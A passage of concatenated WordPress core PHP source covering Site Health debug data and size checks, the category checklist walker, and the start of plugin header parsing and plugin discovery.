				$parent_theme_update_new_version = $theme_updates[ $parent_theme->stylesheet ]->update['new_version'];

				/* translators: %s: Latest theme version number. */
				$parent_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $parent_theme_update_new_version );
				$parent_theme_version_debug .= sprintf( ' (latest version: %s)', $parent_theme_update_new_version );
			}

			$parent_theme_author_uri = $parent_theme->display( 'AuthorURI' );

			$info['wp-parent-theme']['fields'] = array(
				'name'           => array(
					'label' => __( 'Name' ),
					'value' => sprintf(
						/* translators: 1: Theme name. 2: Theme slug. */
						__( '%1$s (%2$s)' ),
						$parent_theme->name,
						$parent_theme->stylesheet
					),
				),
				'version'        => array(
					'label' => __( 'Version' ),
					'value' => $parent_theme_version,
					'debug' => $parent_theme_version_debug,
				),
				'author'         => array(
					'label' => __( 'Author' ),
					'value' => wp_kses( $parent_theme->author, array() ),
				),
				'author_website' => array(
					'label' => __( 'Author website' ),
					'value' => ( $parent_theme_author_uri ? $parent_theme_author_uri : __( 'Undefined' ) ),
					'debug' => ( $parent_theme_author_uri ? $parent_theme_author_uri : '(undefined)' ),
				),
				'theme_path'     => array(
					'label' => __( 'Theme directory location' ),
					'value' => get_template_directory(),
				),
			);

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->response[ $parent_theme->stylesheet ];
				} elseif ( isset( $transient->no_update[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->no_update[ $parent_theme->stylesheet ];
				} else {
					$item = array(
						'theme'        => $parent_theme->stylesheet,
						'new_version'  => $parent_theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $parent_theme->stylesheet, $auto_updates, true );
				}

				if ( $enabled ) {
					$parent_theme_auto_update_string = __( 'Enabled' );
				} else {
					$parent_theme_auto_update_string = __( 'Disabled' );
				}

				/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
				$parent_theme_auto_update_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $parent_theme, $enabled );

				$info['wp-parent-theme']['fields']['auto_update'] = array(
					'label' => __( 'Auto-update' ),
					'value' => $parent_theme_auto_update_string,
					'debug' => $parent_theme_auto_update_string,
				);
			}
		}

		// Populate a list of all themes available in the install.
		$all_themes = wp_get_themes();

		foreach ( $all_themes as $theme_slug => $theme ) {
			// Exclude the currently active theme from the list of all themes.
			if ( $active_theme->stylesheet === $theme_slug ) {
				continue;
			}

			// Exclude the currently active parent theme from the list of all themes.
			if ( ! empty( $parent_theme ) && $parent_theme->stylesheet === $theme_slug ) {
				continue;
			}

			$theme_version = $theme->version;
			$theme_author  = $theme->author;

			// Sanitize.
			$theme_author = wp_kses( $theme_author, array() );

			$theme_version_string       = __( 'No version or author information is available.' );
			$theme_version_string_debug = 'undefined';

			if ( ! empty( $theme_version ) && ! empty( $theme_author ) ) {
				/* translators: 1: Theme version number. 2: Theme author name. */
				$theme_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $theme_version, $theme_author );
				$theme_version_string_debug = sprintf( 'version: %s, author: %s', $theme_version, $theme_author );
			} else {
				if ( ! empty( $theme_author ) ) {
					/* translators: %s: Theme author name. */
					$theme_version_string       = sprintf( __( 'By %s' ), $theme_author );
					$theme_version_string_debug = sprintf( 'author: %s, version: (undefined)', $theme_author );
				}

				if ( ! empty( $theme_version ) ) {
					/* translators: %s: Theme version number. */
					$theme_version_string       = sprintf( __( 'Version %s' ), $theme_version );
					$theme_version_string_debug = sprintf( 'author: (undefined), version: %s', $theme_version );
				}
			}

			if ( array_key_exists( $theme_slug, $theme_updates ) ) {
				/* translators: %s: Latest theme version number. */
				$theme_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_updates[ $theme_slug ]->update['new_version'] );
				$theme_version_string_debug .= sprintf( ' (latest version: %s)', $theme_updates[ $theme_slug ]->update['new_version'] );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $theme_slug ] ) ) {
					$item = $transient->response[ $theme_slug ];
				} elseif ( isset( $transient->no_update[ $theme_slug ] ) ) {
					$item = $transient->no_update[ $theme_slug ];
				} else {
					$item = array(
						'theme'        => $theme_slug,
						'new_version'  => $theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $theme_slug, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each theme in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string   $auto_updates_string The string output for the auto-updates column.
				 * @param WP_Theme $theme               An object of theme data.
				 * @param bool     $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $theme, $enabled );

				$theme_version_string       .= ' | ' . $auto_updates_string;
				$theme_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info['wp-themes-inactive']['fields'][ sanitize_text_field( $theme->name ) ] = array(
				'label' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$theme->name,
					$theme_slug
				),
				'value' => $theme_version_string,
				'debug' => $theme_version_string_debug,
			);
		}

		// Add more filesystem checks.
		if ( defined( 'WPMU_PLUGIN_DIR' ) && is_dir( WPMU_PLUGIN_DIR ) ) {
			$is_writable_wpmu_plugin_dir = wp_is_writable( WPMU_PLUGIN_DIR );

			$info['wp-filesystem']['fields']['mu-plugins'] = array(
				'label' => __( 'The must use plugins directory' ),
				'value' => ( $is_writable_wpmu_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
				'debug' => ( $is_writable_wpmu_plugin_dir ? 'writable' : 'not writable' ),
			);
		}

		/**
		 * Filters the debug information shown on the Tools -> Site Health -> Info screen.
		 *
		 * Plugin or themes may wish to introduce their own debug information without creating
		 * additional admin pages. They can utilize this filter to introduce their own sections
		 * or add more data to existing sections.
		 *
		 * Array keys for sections added by core are all prefixed with `wp-`. Plugins and themes
		 * should use their own slug as a prefix, both for consistency as well as avoiding
		 * key collisions. Note that the array keys are used as labels for the copied data.
		 *
		 * All strings are expected to be plain text except `$description` that can contain
		 * inline HTML tags (see below).
		 *
		 * @since 5.2.0
		 *
		 * @param array $args {
		 *     The debug information to be added to the core information page.
		 *
		 *     This is an associative multi-dimensional array, up to three levels deep.
		 *     The topmost array holds the sections, keyed by section ID.
		 *
		 *     @type array ...$0 {
		 *         Each section has a `$fields` associative array (see below), and each `$value` in `$fields`
		 *         can be another associative array of name/value pairs when there is more structured data
		 *         to display.
		 *
		 *         @type string $label       Required. The title for this section of the debug output.
		 *         @type string $description Optional. A description for your information section which
		 *                                   may contain basic HTML markup, inline tags only as it is
		 *                                   outputted in a paragraph.
		 *         @type bool   $show_count  Optional. If set to `true`, the amount of fields will be included
		 *                                   in the title for this section. Default false.
		 *         @type bool   $private     Optional. If set to `true`, the section and all associated fields
		 *                                   will be excluded from the copied data. Default false.
		 *         @type array  $fields {
		 *             Required. An associative array containing the fields to be displayed in the section,
		 *             keyed by field ID.
		 *
		 *             @type array ...$0 {
		 *                 An associative array containing the data to be displayed for the field.
		 *
		 *                 @type string $label    Required. The label for this piece of information.
		 *                 @type mixed  $value    Required. The output that is displayed for this field.
		 *                                        Text should be translated. Can be an associative array
		 *                                        that is displayed as name/value pairs.
		 *                                        Accepted types: `string|int|float|(string|int|float)[]`.
		 *                 @type string $debug    Optional. The output that is used for this field when
		 *                                        the user copies the data. It should be more concise and
		 *                                        not translated. If not set, the content of `$value`
		 *                                        is used. Note that the array keys are used as labels
		 *                                        for the copied data.
		 *                 @type bool   $private  Optional. If set to `true`, the field will be excluded
		 *                                        from the copied data, allowing you to show, for example,
		 *                                        API keys here. Default false.
		 *             }
		 *         }
		 *     }
		 * }
		 */
		$info = apply_filters( 'debug_information', $info );

		return $info;
	}

	/**
	 * Returns the value of a MySQL system variable.
	 *
	 * @since 5.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $mysql_var Name of the MySQL system variable.
	 * @return string|null The variable value on success. Null if the variable does not exist.
	 */
	public static function get_mysql_var( $mysql_var ) {
		global $wpdb;

		$result = $wpdb->get_row(
			$wpdb->prepare( 'SHOW VARIABLES LIKE %s', $mysql_var ),
			ARRAY_A
		);

		if ( ! empty( $result ) && array_key_exists( 'Value', $result ) ) {
			return $result['Value'];
		}

		return null;
	}

	/**
	 * Formats the information gathered for debugging, in a manner suitable for copying to a forum or support ticket.
	 *
	 * @since 5.2.0
	 *
	 * @param array  $info_array Information gathered from the `WP_Debug_Data::debug_data()` function.
	 * @param string $data_type  The data type to return, either 'info' or 'debug'.
	 * @return string The formatted data.
	 */
	public static function format( $info_array, $data_type ) {
		$return = "`\n";

		foreach ( $info_array as $section => $details ) {
			// Skip this section if there are no fields, or the section has been declared as private.
			if ( empty( $details['fields'] ) || ( isset( $details['private'] ) && $details['private'] ) ) {
				continue;
			}

			$section_label = 'debug' === $data_type ? $section : $details['label'];

			$return .= sprintf(
				"### %s%s ###\n\n",
				$section_label,
				( isset( $details['show_count'] ) && $details['show_count'] ? sprintf( ' (%d)', count( $details['fields'] ) ) : '' )
			);

			foreach ( $details['fields'] as $field_name => $field ) {
				if ( isset( $field['private'] ) && true === $field['private'] ) {
					continue;
				}

				if ( 'debug' === $data_type && isset( $field['debug'] ) ) {
					$debug_data = $field['debug'];
				} else {
					$debug_data = $field['value'];
				}

				// Can be array, one level deep only.
				if ( is_array( $debug_data ) ) {
					$value = '';

					foreach ( $debug_data as $sub_field_name => $sub_field_value ) {
						$value .= sprintf( "\n\t%s: %s", $sub_field_name, $sub_field_value );
					}
				} elseif ( is_bool( $debug_data ) ) {
					$value = $debug_data ? 'true' : 'false';
				} elseif ( empty( $debug_data ) && '0' !== $debug_data ) {
					$value = 'undefined';
				} else {
					$value = $debug_data;
				}

				if ( 'debug' === $data_type ) {
					$label = $field_name;
				} else {
					$label = $field['label'];
				}

				$return .= sprintf( "%s: %s\n", $label, $value );
			}

			$return .= "\n";
		}

		$return .= '`';

		return $return;
	}

	/**
	 * Fetches the total size of all the database tables for the active database user.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int The size of the database, in bytes.
	 */
	public static function get_database_size() {
		global $wpdb;
		$size = 0;
		$rows = $wpdb->get_results( 'SHOW TABLE STATUS', ARRAY_A );

		if ( $wpdb->num_rows > 0 ) {
			foreach ( $rows as $row ) {
				$size += $row['Data_length'] + $row['Index_length'];
			}
		}

		return (int) $size;
	}

	/**
	 * Fetches the sizes of the WordPress directories: `wordpress` (ABSPATH), `plugins`, `themes`, and `uploads`.
	 * Intended to supplement the array returned by `WP_Debug_Data::debug_data()`.
	 *
	 * @since 5.2.0
	 *
	 * @return array The sizes of the directories, also the database size and total installation size.
	 */
	public static function get_sizes() {
		$size_db    = self::get_database_size();
		$upload_dir = wp_get_upload_dir();

		/*
		 * We will be using the PHP max execution time to prevent the size calculations
		 * from causing a timeout. The default value is 30 seconds, and some
		 * hosts do not allow you to read configuration values.
		 */
		if ( function_exists( 'ini_get' ) ) {
			$max_execution_time = ini_get( 'max_execution_time' );
		}

		/*
		 * The max_execution_time defaults to 0 when PHP runs from cli.
		 * We still want to limit it below.
		 */
		if ( empty( $max_execution_time ) ) {
			$max_execution_time = 30; // 30 seconds.
		}

		if ( $max_execution_time > 20 ) {
			/*
			 * If the max_execution_time is set to lower than 20 seconds, reduce it a bit to prevent
			 * edge-case timeouts that may happen after the size loop has finished running.
			 */
			$max_execution_time -= 2;
		}

		/*
		 * Go through the various installation directories and calculate their sizes.
		 * No trailing slashes.
		 */
		$paths = array(
			'wordpress_size' => untrailingslashit( ABSPATH ),
			'themes_size'    => get_theme_root(),
			'plugins_size'   => WP_PLUGIN_DIR,
			'uploads_size'   => $upload_dir['basedir'],
		);

		$exclude = $paths;
		unset( $exclude['wordpress_size'] );
		$exclude = array_values( $exclude );

		$size_total = 0;
		$all_sizes  = array();

		// Loop over all the directories we want to gather the sizes for.
		foreach ( $paths as $name => $path ) {
			$dir_size = null; // Default to timeout.
			$results  = array(
				'path' => $path,
				'raw'  => 0,
			);

			if ( microtime( true ) - WP_START_TIMESTAMP < $max_execution_time ) {
				if ( 'wordpress_size' === $name ) {
					$dir_size = recurse_dirsize( $path, $exclude, $max_execution_time );
				} else {
					$dir_size = recurse_dirsize( $path, null, $max_execution_time );
				}
			}

			if ( false === $dir_size ) {
				// Error reading.
				$results['size']  = __( 'The size cannot be calculated. The directory is not accessible. Usually caused by invalid permissions.' );
				$results['debug'] = 'not accessible';

				// Stop total size calculation.
				$size_total = null;
			} elseif ( null === $dir_size ) {
				// Timeout.
				$results['size']  = __( 'The directory size calculation has timed out. Usually caused by a very large number of sub-directories and files.' );
				$results['debug'] = 'timeout while calculating size';

				// Stop total size calculation.
				$size_total = null;
			} else {
				if ( null !== $size_total ) {
					$size_total += $dir_size;
				}

				$results['raw']   = $dir_size;
				$results['size']  = size_format( $dir_size, 2 );
				$results['debug'] = $results['size'] . " ({$dir_size} bytes)";
			}

			$all_sizes[ $name ] = $results;
		}

		if ( $size_db > 0 ) {
			$database_size = size_format( $size_db, 2 );

			$all_sizes['database_size'] = array(
				'raw'   => $size_db,
				'size'  => $database_size,
				'debug' => $database_size . " ({$size_db} bytes)",
			);
		} else {
			$all_sizes['database_size'] = array(
				'size'  => __( 'Not available' ),
				'debug' => 'not available',
			);
		}

		if ( null !== $size_total && $size_db > 0 ) {
			$total_size    = $size_total + $size_db;
			$total_size_mb = size_format( $total_size, 2 );

			$all_sizes['total_size'] = array(
				'raw'   => $total_size,
				'size'  => $total_size_mb,
				'debug' => $total_size_mb . " ({$total_size} bytes)",
			);
		} else {
			$all_sizes['total_size'] = array(
				'size'  => __( 'Total size is not available. Some errors were encountered when determining the size of your installation.' ),
				'debug' => 'not available',
			);
		}

		return $all_sizes;
	}
}
<?php
/**
 * Taxonomy API: Walker_Category_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Core walker class to output an unordered list of category checkbox input elements.
 *
 * @since 2.5.1
 *
 * @see Walker
 * @see wp_category_checklist()
 * @see wp_terms_checklist()
 */
class Walker_Category_Checklist extends Walker {
	public $tree_type = 'category';
	public $db_fields = array(
		'parent' => 'parent',
		'id'     => 'term_id',
	); // TODO: Decouple this.

	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker:start_lvl()
	 *
	 * @since 2.5.1
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of category. Used for tab indentation.
	 * @param array  $args   An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent<ul class='children'>\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker::end_lvl()
	 *
	 * @since 2.5.1
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Depth of category. Used for tab indentation.
	 * @param array  $args   An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "$indent</ul>\n";
	}

	/**
	 * Start the element output.
	 *
	 * @see Walker::start_el()
	 *
	 * @since 2.5.1
	 * @since 5.9.0 Renamed `$category` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output            Used to append additional content (passed by reference).
	 * @param WP_Term $data_object       The current term object.
	 * @param int     $depth             Depth of the term in reference to parents. Default 0.
	 * @param array   $args              An array of arguments. See {@see wp_terms_checklist()}.
	 * @param int     $current_object_id Optional. ID of the current term. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$category = $data_object;

		if ( empty( $args['taxonomy'] ) ) {
			$taxonomy = 'category';
		} else {
			$taxonomy = $args['taxonomy'];
		}

		if ( 'category' === $taxonomy ) {
			$name = 'post_category';
		} else {
			$name = 'tax_input[' . $taxonomy . ']';
		}

		$args['popular_cats'] = ! empty( $args['popular_cats'] ) ? array_map( 'intval', $args['popular_cats'] ) : array();

		$class = in_array( $category->term_id, $args['popular_cats'], true ) ? ' class="popular-category"' : '';

		$args['selected_cats'] = ! empty( $args['selected_cats'] ) ? array_map( 'intval', $args['selected_cats'] ) : array();

		if ( ! empty( $args['list_only'] ) ) {
			$aria_checked = 'false';
			$inner_class  = 'category';

			if ( in_array( $category->term_id, $args['selected_cats'], true ) ) {
				$inner_class .= ' selected';
				$aria_checked = 'true';
			}

			$output .= "\n" . '<li' . $class . '>' .
				'<div class="' . $inner_class . '" data-term-id=' . $category->term_id .
				' tabindex="0" role="checkbox" aria-checked="' . $aria_checked . '">' .
				/** This filter is documented in wp-includes/category-template.php */
				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</div>';
		} else {
			$is_selected = in_array( $category->term_id, $args['selected_cats'], true );
			$is_disabled = ! empty( $args['disabled'] );

			$output .= "\n<li id='{$taxonomy}-{$category->term_id}'$class>" .
				'<label class="selectit"><input value="' . $category->term_id . '" type="checkbox" name="' . $name . '[]" id="in-' . $taxonomy . '-' . $category->term_id . '"' .
				checked( $is_selected, true, false ) .
				disabled( $is_disabled, true, false ) . ' /> ' .
				/** This filter is documented in wp-includes/category-template.php */
				esc_html( apply_filters( 'the_category', $category->name, '', '' ) ) . '</label>';
		}
	}

	/**
	 * Ends the element output, if needed.
	 *
	 * @see Walker::end_el()
	 *
	 * @since 2.5.1
	 * @since 5.9.0 Renamed `$category` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output      Used to append additional content (passed by reference).
	 * @param WP_Term $data_object The current term object.
	 * @param int     $depth       Depth of the term in reference to parents. Default 0.
	 * @param array   $args        An array of arguments. See {@see wp_terms_checklist()}.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		$output .= "</li>\n";
	}
}
<?php
/**
 * WordPress Plugin Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Parses the plugin contents to retrieve plugin's metadata.
 *
 * All plugin headers must be on their own line. Plugin description must not have
 * any newlines, otherwise only parts of the description will be displayed.
 * The below is formatted for printing.
 *
 *     /*
 *     Plugin Name: Name of the plugin.
 *     Plugin URI: The home page of the plugin.
 *     Description: Plugin description.
 *     Author: Plugin author's name.
 *     Author URI: Link to the author's website.
 *     Version: Plugin version.
 *     Text Domain: Optional. Unique identifier, should be same as the one used in
 *          load_plugin_textdomain().
 *     Domain Path: Optional. Only useful if the translations are located in a
 *          folder above the plugin's base path. For example, if .mo files are
 *          located in the locale folder then Domain Path will be "/locale/" and
 *          must have the first slash. Defaults to the base folder the plugin is
 *          located in.
 *     Network: Optional. Specify "Network: true" to require that a plugin is activated
 *          across all sites in an installation. This will prevent a plugin from being
 *          activated on a single site when Multisite is enabled.
 *     Requires at least: Optional. Specify the minimum required WordPress version.
 *     Requires PHP: Optional. Specify the minimum required PHP version.
 *     * / # Remove the space to close comment.
 *
 * The first 8 KB of the file will be pulled in and if the plugin data is not
 * within that first 8 KB, then the plugin author should correct their plugin
 * and move the plugin data headers to the top.
 *
 * The plugin file is assumed to have permissions to allow for scripts to read
 * the file. This is not checked however and the file is only opened for
 * reading.
 *
 * @since 1.5.0
 * @since 5.3.0 Added support for `Requires at least` and `Requires PHP` headers.
 * @since 5.8.0 Added support for `Update URI` header.
 * @since 6.5.0 Added support for `Requires Plugins` header.
 *
 * @param string $plugin_file Absolute path to the main plugin file.
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array {
 *     Plugin data. Values will be empty if not supplied by the plugin.
 *
 *     @type string $Name            Name of the plugin. Should be unique.
 *     @type string $PluginURI       Plugin URI.
 *     @type string $Version         Plugin version.
 *     @type string $Description     Plugin description.
 *     @type string $Author          Plugin author's name.
 *     @type string $AuthorURI       Plugin author's website address (if set).
 *     @type string $TextDomain      Plugin textdomain.
 *     @type string $DomainPath      Plugin's relative directory path to .mo files.
 *     @type bool   $Network         Whether the plugin can only be activated network-wide.
 *     @type string $RequiresWP      Minimum required version of WordPress.
 *     @type string $RequiresPHP     Minimum required version of PHP.
 *     @type string $UpdateURI       ID of the plugin for update purposes, should be a URI.
 *     @type string $RequiresPlugins Comma separated list of dot org plugin slugs.
 *     @type string $Title           Title of the plugin and link to the plugin's site (if set).
 *     @type string $AuthorName      Plugin author's name.
 * }
 */
function get_plugin_data( $plugin_file, $markup = true, $translate = true ) {

	$default_headers = array(
		'Name'            => 'Plugin Name',
		'PluginURI'       => 'Plugin URI',
		'Version'         => 'Version',
		'Description'     => 'Description',
		'Author'          => 'Author',
		'AuthorURI'       => 'Author URI',
		'TextDomain'      => 'Text Domain',
		'DomainPath'      => 'Domain Path',
		'Network'         => 'Network',
		'RequiresWP'      => 'Requires at least',
		'RequiresPHP'     => 'Requires PHP',
		'UpdateURI'       => 'Update URI',
		'RequiresPlugins' => 'Requires Plugins',
		// Site Wide Only is deprecated in favor of Network.
		'_sitewide'       => 'Site Wide Only',
	);

	$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );

	// Site Wide Only is the old header for Network.
	if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
		/* translators: 1: Site Wide Only: true, 2: Network: true */
		_deprecated_argument( __FUNCTION__, '3.0.0', sprintf( __( 'The %1$s plugin header is deprecated. Use %2$s instead.' ), '<code>Site Wide Only: true</code>', '<code>Network: true</code>' ) );
		$plugin_data['Network'] = $plugin_data['_sitewide'];
	}
	$plugin_data['Network'] = ( 'true' === strtolower( $plugin_data['Network'] ) );
	unset( $plugin_data['_sitewide'] );

	// If no text domain is defined fall back to the plugin slug.
	if ( ! $plugin_data['TextDomain'] ) {
		$plugin_slug = dirname( plugin_basename( $plugin_file ) );
		if ( '.' !== $plugin_slug && ! str_contains( $plugin_slug, '/' ) ) {
			$plugin_data['TextDomain'] = $plugin_slug;
		}
	}

	if ( $markup || $translate ) {
		$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
	} else {
		$plugin_data['Title']      = $plugin_data['Name'];
		$plugin_data['AuthorName'] = $plugin_data['Author'];
	}

	return $plugin_data;
}

/**
 * Sanitizes plugin data, optionally adds markup, optionally translates.
 *
 * @since 2.7.0
 *
 * @see get_plugin_data()
 *
 * @access private
 *
 * @param string $plugin_file Path to the main plugin file.
 * @param array  $plugin_data An array of plugin data. See get_plugin_data().
 * @param bool   $markup      Optional. If the returned data should have HTML markup applied.
 *                            Default true.
 * @param bool   $translate   Optional. If the returned data should be translated. Default true.
 * @return array Plugin data. Values will be empty if not supplied by the plugin.
 *               See get_plugin_data() for the list of possible values.
 */
function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {

	// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path.
	$plugin_file = plugin_basename( $plugin_file );

	// Translate fields.
	if ( $translate ) {
		$textdomain = $plugin_data['TextDomain'];
		if ( $textdomain ) {
			if ( ! is_textdomain_loaded( $textdomain ) ) {
				if ( $plugin_data['DomainPath'] ) {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
				} else {
					load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
				}
			}
		} elseif ( 'hello.php' === basename( $plugin_file ) ) {
			$textdomain = 'default';
		}
		if ( $textdomain ) {
			foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field ) {
				if ( ! empty( $plugin_data[ $field ] ) ) {
					// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
					$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
				}
			}
		}
	}

	// Sanitize fields.
	$allowed_tags_in_links = array(
		'abbr'    => array( 'title' => true ),
		'acronym' => array( 'title' => true ),
		'code'    => true,
		'em'      => true,
		'strong'  => true,
	);

	$allowed_tags      = $allowed_tags_in_links;
	$allowed_tags['a'] = array(
		'href'  => true,
		'title' => true,
	);

	/*
	 * Name is marked up inside <a> tags. Don't allow these.
	 * Author is too, but some plugins have used <a> here (omitting Author URI).
	 */
	$plugin_data['Name']   = wp_kses( $plugin_data['Name'], $allowed_tags_in_links );
	$plugin_data['Author'] = wp_kses( $plugin_data['Author'], $allowed_tags );

	$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
	$plugin_data['Version']     = wp_kses( $plugin_data['Version'], $allowed_tags );

	$plugin_data['PluginURI'] = esc_url( $plugin_data['PluginURI'] );
	$plugin_data['AuthorURI'] = esc_url( $plugin_data['AuthorURI'] );

	$plugin_data['Title']      = $plugin_data['Name'];
	$plugin_data['AuthorName'] = $plugin_data['Author'];

	// Apply markup.
	if ( $markup ) {
		if ( $plugin_data['PluginURI'] && $plugin_data['Name'] ) {
			$plugin_data['Title'] = '<a href="' . $plugin_data['PluginURI'] . '">' . $plugin_data['Name'] . '</a>';
		}

		if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] ) {
			$plugin_data['Author'] = '<a href="' . $plugin_data['AuthorURI'] . '">' . $plugin_data['Author'] . '</a>';
		}

		$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );

		if ( $plugin_data['Author'] ) {
			$plugin_data['Description'] .= sprintf(
				/* translators: %s: Plugin author. */
				' <cite>' . __( 'By %s.' ) . '</cite>',
				$plugin_data['Author']
			);
		}
	}

	return $plugin_data;
}

/**
 * Gets a list of a plugin's files.
 *
 * @since 2.8.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of file names relative to the plugin root.
 */
function get_plugin_files( $plugin ) {
	$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
	$dir         = dirname( $plugin_file );

	$plugin_files = array( plugin_basename( $plugin_file ) );

	if ( is_dir( $dir ) && WP_PLUGIN_DIR !== $dir ) {

		/**
		 * Filters the array of excluded directories and files while scanning the folder.
		 *
		 * @since 4.9.0
		 *
		 * @param string[] $exclusions Array of excluded directories and files.
		 */
		$exclusions = (array) apply_filters( 'plugin_files_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );

		$list_files = list_files( $dir, 100, $exclusions );
		$list_files = array_map( 'plugin_basename', $list_files );

		$plugin_files = array_merge( $plugin_files, $list_files );
		$plugin_files = array_values( array_unique( $plugin_files ) );
	}

	return $plugin_files;
}

/**
 * Checks the plugins directory and retrieve all plugin files with plugin data.
 *
 * WordPress only supports plugin files in the base plugins directory
 * (wp-content/plugins) and in one directory above the plugins directory
 * (wp-content/plugins/my-plugin). The file it looks for has the plugin data
 * and must be found in those two locations. It is recommended to keep your
 * plugin files in their own directories.
 *
 * The file with the plugin data is the file that will be included and therefore
 * needs to have the main execution for the plugin. This does not mean
 * everything must be contained in the file and it is recommended that the file
 * be split for maintainability. Keep everything in one file for extreme
 * optimization purposes.
 *
 * @since 1.5.0
 *
 * @param string $plugin_folder Optional. Relative path to single plugin folder.
 * @return array[] Array of arrays of plugin data, keyed by plugin file name. See get_plugin_data().
 */
function get_plugins( $plugin_folder = '' ) {

	$cache_plugins = wp_cache_get( 'plugins', 'plugins' );
	if ( ! $cache_plugins ) {
		$cache_plugins = array();
	}

	if ( isset( $cache_plugins[ $plugin_folder ] ) ) {
		return $cache_plugins[ $plugin_folder ];
	}

	$wp_plugins  = array();
	$plugin_root = WP_PLUGIN_DIR;
	if ( ! empty( $plugin_folder ) ) {
		$plugin_root .= $plugin_folder;
	}

	// Files in wp-content/plugins directory.
	$plugins_dir  = @opendir( $plugin_root );
	$plugin_files = array();

	if ( $plugins_dir ) {
		while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
			if ( str_starts_with( $file, '.' ) ) {
				continue;
			}

			if ( is_dir( $plugin_root . '/' . $file ) ) {
				$plugins_subdir = @opendir( $plugin_root . '/' . $file );

				if ( $plugins_subdir ) {
					while ( ( $subfile = readdir( $plugins_subdir ) ) !== false ) {
						if ( str_starts_with( $subfile, '.' ) ) {
							continue;
						}

						if ( str_ends_with( $subfile, '.php' ) ) {
							$plugin_files[] = "$file/$subfile";
						}
					}

					closedir( $plugins_subdir );
				}
			} else {
				if ( str_ends_with( $file, '.php' ) ) {
					$plugin_files[] = $file;
				}
			}
		}

		closedir( $plugins_dir );
	}

	if ( empty( $plugin_files ) ) {
		return $wp_plugins;
	}

	foreach ( $plugin_files as $plugin_file ) {
		if ( ! is_readable( "$plugin_root/$plugin_file" ) ) {
			continue;
		}

		// Do not apply markup/translate as it will be cached.
		$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false );

		if ( empty( $plugin_data['Name'] ) ) {
			continue;
		}

		$wp_plugins[ plugin_basename( $plugin_file ) ] = $plugin_data;
	}

	uasort( $wp_plugins, '_sort_uname_callback' );

	$cache_plugins[ $plugin_folder ] = $wp_plugins;
